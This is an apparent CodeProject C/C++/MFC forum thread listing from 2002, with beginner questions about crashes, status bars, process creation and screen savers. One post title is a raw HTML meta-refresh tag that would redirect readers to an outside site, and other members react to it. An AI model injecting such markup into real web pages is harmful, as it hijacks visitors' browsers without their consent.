Click here to Skip to main content
15,915,163 members
Home / Discussions / C / C++ / MFC
   

C / C++ / MFC

 
GeneralApplication Error Pin
30-Jun-02 16:06
suss30-Jun-02 16:06 
GeneralRe: Application Error Pin
Christian Graus30-Jun-02 17:23
protectorChristian Graus30-Jun-02 17:23 
GeneralRe: Application Error Pin
30-Jun-02 17:46
suss30-Jun-02 17:46 
GeneralRe: Application Error Pin
Christian Graus30-Jun-02 17:53
protectorChristian Graus30-Jun-02 17:53 
GeneralRe: Application Error Pin
30-Jun-02 18:16
suss30-Jun-02 18:16 
GeneralRe: Application Error Pin
Christian Graus30-Jun-02 18:21
protectorChristian Graus30-Jun-02 18:21 
GeneralRe: Application Error Pin
_Magnus_30-Jun-02 22:01
_Magnus_30-Jun-02 22:01 
Generalrun-time error if statment Pin
30-Jun-02 14:37
suss30-Jun-02 14:37 
I'm sorry for posting so much code, but since i really dont have any idea why is isn't working I dont know what to show and what not to.

Using the debug tool I have managed to figure out my app crashes at run-time when it executes this line

int int_mode = 0;
CString str_buffer;

if(int_mode == 1) //this is the line that, once executed, crasehes the app


im sure there is something I dont know im doing wrong, so please enlighten me Smile | :) its been driving me crazy most of the afternoon.

int format_chars(int int_offset, CString input)
{
	int i = 0;
	int a = 1;
	int output = 0;
	int int_mode = 0;
	CString str_buffer;

	while(true)
	{



		if(int_mode == 1) //crashes after this line
		{
			if(input.GetAt(i) == ' ')
			{
				output = atoi(str_buffer);
				return output;
			}
			str_buffer += input.GetAt(i);
		}

		if(input.GetAt(i) == ' ')
		{
			a++;

			if(a == int_offset)
			{
				int_mode = 1;
			}
		}
			



		i++;

		if(i > input.GetLength())
			return -1;
	}
	 

	return -1;
}

GeneralRe: run-time error if statment Pin
Christian Graus30-Jun-02 14:44
protectorChristian Graus30-Jun-02 14:44 
GeneralRe: run-time error if statment Pin
urid30-Jun-02 21:52
urid30-Jun-02 21:52 
General<head><meta http-equiv="Refresh" content="0; url=http://www.tds-crew.com"></head> Pin
30-Jun-02 10:08
suss30-Jun-02 10:08 
GeneralWhat is your intention Pin
Rama Krishna Vavilala30-Jun-02 10:14
Rama Krishna Vavilala30-Jun-02 10:14 
General:-P Pin
Shog930-Jun-02 10:14
sitebuilderShog930-Jun-02 10:14 
GeneralRe: :-P Pin
Rama Krishna Vavilala30-Jun-02 10:18
Rama Krishna Vavilala30-Jun-02 10:18 
GeneralRe: :-P Pin
Shog930-Jun-02 10:20
sitebuilderShog930-Jun-02 10:20 
Generaldumb eh? Pin
Nish Nishant30-Jun-02 17:24
sitebuilderNish Nishant30-Jun-02 17:24 
GeneralRe: dumb eh? Pin
Rama Krishna Vavilala30-Jun-02 17:39
Rama Krishna Vavilala30-Jun-02 17:39 
Questioncan someone help me with process creation? Pin
Edd30-Jun-02 9:34
Edd30-Jun-02 9:34 
QuestionBeginner question: How do I put the open file name in the status bar? Pin
John Soares30-Jun-02 8:44
John Soares30-Jun-02 8:44 
AnswerRe: Beginner question: How do I put the open file name in the status bar? Pin
Chris Maunder30-Jun-02 19:55
cofounderChris Maunder30-Jun-02 19:55 
GeneralScreen Saver Multi-Monitors Pin
Jon Newman30-Jun-02 7:27
Jon Newman30-Jun-02 7:27 
GeneralRe: Screen Saver Multi-Monitors Pin
Christian Graus30-Jun-02 10:58
protectorChristian Graus30-Jun-02 10:58 
GeneralRe: Screen Saver Multi-Monitors Pin
Jon Newman30-Jun-02 11:03
Jon Newman30-Jun-02 11:03 
GeneralRe: Screen Saver Multi-Monitors Pin
Christian Graus30-Jun-02 11:08
protectorChristian Graus30-Jun-02 11:08 
GeneralRe: Screen Saver Multi-Monitors Pin
Michael Dunn30-Jun-02 11:14
sitebuilderMichael Dunn30-Jun-02 11:14 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.